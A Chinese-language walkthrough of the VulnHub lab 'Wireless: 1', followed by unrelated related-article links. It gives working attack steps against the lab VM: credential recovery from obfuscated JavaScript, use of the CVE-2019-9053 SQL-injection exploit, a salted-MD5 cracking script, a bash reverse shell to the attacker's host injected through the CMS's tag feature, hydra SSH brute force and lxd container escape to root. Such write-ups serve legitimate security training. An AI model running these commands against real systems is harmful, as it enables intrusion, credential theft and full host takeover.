准备:

攻击机:虚拟机kali、本机win10。

靶机:Wireless: 1,下载地址:https://download.vulnhub.com/wireless/Mystiko-Wireless.rar,下载后直接vm打开即可。

知识点:lxd提权、密码字典生成、hydra爆破、dns解析、SMS信息解密、cve-2019-9053漏洞。

一:信息收集

1.nmap扫描

使用nmap扫描下靶机地址,命令:nmap -sn 192.168.0.0/24,发现靶机地址:192.168.0.11。

使用nmap扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.0.11,显示开放了22端口、80端口、8000端口、8080端口,开启了ssh服务、http服务

2.目录扫描

使用gobuster进行目录扫描,命令:gobuster dir -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://192.168.0.11,但是未发现有效信息。扫描其8000端口时,扫描失败。

3.web访问

通过web访问8000端口时,在首页发现了一个邮箱信息:jinmori@voip.in,猜测用户名是:jinmori。

在首页中发现登录页面:http://192.168.0.11:8000/login,然后在其源码信息中发现:http://192.168.0.11:8000/static/js/login.js文件,读取该文件信息。

直接在浏览器中右键检查中的console中执行代码,然后输出delog,命令:console.log(delog);

得到一个新的输出,将执行的结果继续执行,然后输出p,命令:console.log(p);,成功获得一串字符串,猜测是密码信息:Taekwondo。

二:信息利用

1.SMS信息解密

利用获得账户信息:jinmori/Taekwondo登录web系统,然后在其viop logs中发现SMS信息。

使用sms信息解密网站:https://www.smsdeliverer.com/online-sms-pdu-decoder.aspx对sms信息进行解密,成功获得提示信息,告诉我们要访问8080服务,还需要进行dns解析。

2.dns解析

win:打开C:\Windows\System32\drivers\etc\hosts文件,添加:192.168.0.11 wireless.com。linux:打开/etc/hosts文件,添加:192.168.0.11 wireless.com。然后访问:http://wireless.com:8080/,返回信息告诉我们内部门户v1。后面在访问:http://wireless.com/时发现是CMS Made Simple框架,在其首页发现框架的版本信息:CMS Made Simple version 2.2.9。

使用searchsploit搜索下该框架版本的漏洞信息,发现存在sql注入漏洞。

3.目录扫描

使用gobuster进行目录扫描,命令:gobuster dir -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://wireless.com/,发现admin、tmp、config.php目录和文件。

三:获取shell

1.cve-2019-9053漏洞利用

直接使用该脚本进行漏洞利用,但是进行利用的时候发现一旦开启对密码明文信息的爆破该脚本就会报错,因此我这里就将爆破明文密码的那块代码单独拿出来了,只用该脚本其他信息,命令:python exp.py -u http://wireless.com/,成功获得salt:551c92a536111490、username:juniordev、加密的密码:a25bb9e6782e7329c236d2538dd4f5ac。

然后利用解密脚本对获得加密密码进行解密,这里为了方便测试直接写死了全部的参数,可以自行更改,执行完该脚本后成功获得密码:passion。

import hashlib

def crack_password():
password = 'a25bb9e6782e7329c236d2538dd4f5ac'
result = ''
salt = '551c92a536111490'
dict = open("C:\\Users\\86188\\Desktop\\pass.txt")
for line in dict.readlines():
line = line.replace("\n", "")
if str(hashlib.md5((str(salt) + line).encode("utf-8")).hexdigest()) == password:
result += "\n[+] Password cracked: " + line
break
dict.close()
print(result) crack_password()

2.获取shell

利用获得的账户信息:juniordev/passion登录web页面,在web系统中的Extensions-user defined tags中发现可以执行代码,因此构造:exec("/bin/bash -c 'bash -i >&/dev/tcp/192.168.0.9/6688 0>&1'");进行shell反弹,成功获取shell权限。

四:8080端口利用

在上面虽然获得了shell权限,但是只在该权限中发现了coherer账户,未发现可以进行提权的信息点只能去8080端口看一下。但是我在8080端口也未发现有用的信息,在网上看了以下,发现存在一个子域名:testing.wireless.com,访问:http://testing.wireless.com:8080/服务时,返回的是一个登录页面,采用前面发现的账户信息:juniordev/passion可以直接登录到系统内。

在输入框中进行测试,当我们输入help时会回显我们可以执行的命令,可以执行的命令包含:tools、logs、whoami、clear、questions。当我们执行命令logs时返回了Network.data文件。

访问该文件是一个很长的一篇信息。

那我们就将Network.data文件生成字典,命令:cewl -m 4 http://testing.wireless.com:8080/static/Network.data > passwd,然后使用hydra进行爆破,命令:hydra ssh://192.168.0.11 -l coherer -P passwd,最终成功获得账户和密码信息:coherer/Induction。

使用获得的账户信息:coherer/Induction进行ssh登录,成功获得coherer权限的shell权限。

五:提权-root

在coherer的shell中发现coherer账户具有lxd权限,那我们就可以利用lxd进行提权,最终成功获得root权限。

#上传tar.gz文件,然后依次执行以下代码。百度网盘:链接:https://pan.baidu.com/s/1rJ61YRlLgEXGP-bUKPf7DA,提取码:upfn
lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage
lxd init #基本默认配置,进行回车就行
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh

获得root权限后在/mnt/root/root目录下发现proof.txt,读取该文件成功获得flag值。

vulnhub靶场之WIRELESS: 1的更多相关文章

  1. Vulnhub靶场题解

    Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...

  2. VulnHub靶场学习_HA: ARMOUR

    HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...

  3. VulnHub靶场学习_HA: InfinityStones

    HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...

  4. VulnHub靶场学习_HA: Avengers Arsenal

    HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...

  5. VulnHub靶场学习_HA: Chanakya

    HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...

  6. VulnHub靶场学习_HA: Pandavas

    HA: Pandavas Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-pandavas,487/ 背景: Pandavas are the warr ...

  7. VulnHub靶场学习_HA: Natraj

    HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...

  8. VulnHub靶场学习_HA: Chakravyuh

    HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...

  9. VulnHub靶场学习_HA:Forensics

    HA:Forensics Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-forensics,570/ 背景: HA: Forensics is an ...

  10. Vulnhub靶场——DC-1

    记一次Vulnhub靶场练习记录 靶机DC-1下载地址: 官方地址 https://download.vulnhub.com/dc/DC-1.zip 该靶场共有5个flag,下面我们一个一个寻找 打开 ...

随机推荐

  1. 25 bootstrap--v3--datetimepicker时间选择器--应用

    在模板中引用响应的文件 比如: layout.html <link rel="stylesheet" href="{% static 'stark/plugins/ ...

  2. Netty基本编写

    一. public class Server { public static void main(String[] args) throws Exception { //1 创建线两个程组 //一个是 ...

  3. Vue3 流程图组件库 Vue Flow 简单使用

    官网 Vue Flow 官网 Vue Flow GitHub 安装 npm i --save @vue-flow/core yarn add @vue-flow/core pnpm i @vue-fl ...

  4. linux查看进程信息

    top 实时查看进程信息,展示进程id,使用内存,占用cpu等信息,可以查看内容占用最多.cpu使用最多的进程,然后再根据进程id查看进程的详细信息.实时更新 ps 瞬时查看进程情况,ps -ef | ...

  5. 操作系统|01.Windows

    Windows基础 1.系统目录 1.1 C盘根目录 Data:Windows系统目录,放置程序的使用数据.设置等文件. MyDrivers:驱动程序文件夹. PerfLogs:日志文件夹. Prog ...

  6. kafka工具的使用-发送数据

    1.了解推送数据的是哪个topic,选择对应topic下面的partition分区 2.右侧界面选择Data,并点击『+』号: 3.可选择添加单个消息『add Single Message』或者添加多 ...

  7. 下载Vue.js输入Vue -V报错解决办法

    报错如图所示 解决办法: 1. 以管理员身份运行vscode; 2. 执行:get-ExecutionPolicy,显示Restricted,表示状态是禁止的; 3. 执行:set-Execution ...

  8. Parallels Desktop 18(Mac虚拟机)v18.0.0(53049)无限试用版+win11系统

    Parallels Desktop 18 for Mac 是一款强大的虚拟机软件,让您无需重启即可在 Mac 上运行 Windows 应用程序不会减慢 Mac 的运行速度,具有速度快.操作简单且功能强 ...

  9. 基础篇:windows常用命令

    1. windows常用系统命令 cd [进入目录] dir [列出当前目录文件] echo + 打印内容 [打印命令] echo 123 > 1.txt [打印内容到文本] type + 文件 ...

  10. 十大经典排序之堆排序(C++实现)

    堆排序 通过将无序表转化为堆,可以直接找到表中最大值或者最小值,然后将其提取出来,令剩余的记录再重建一个堆, 取出次大值或者次小值,如此反复执行就可以得到一个有序序列,此过程为堆排序. 思路: 1.创 ...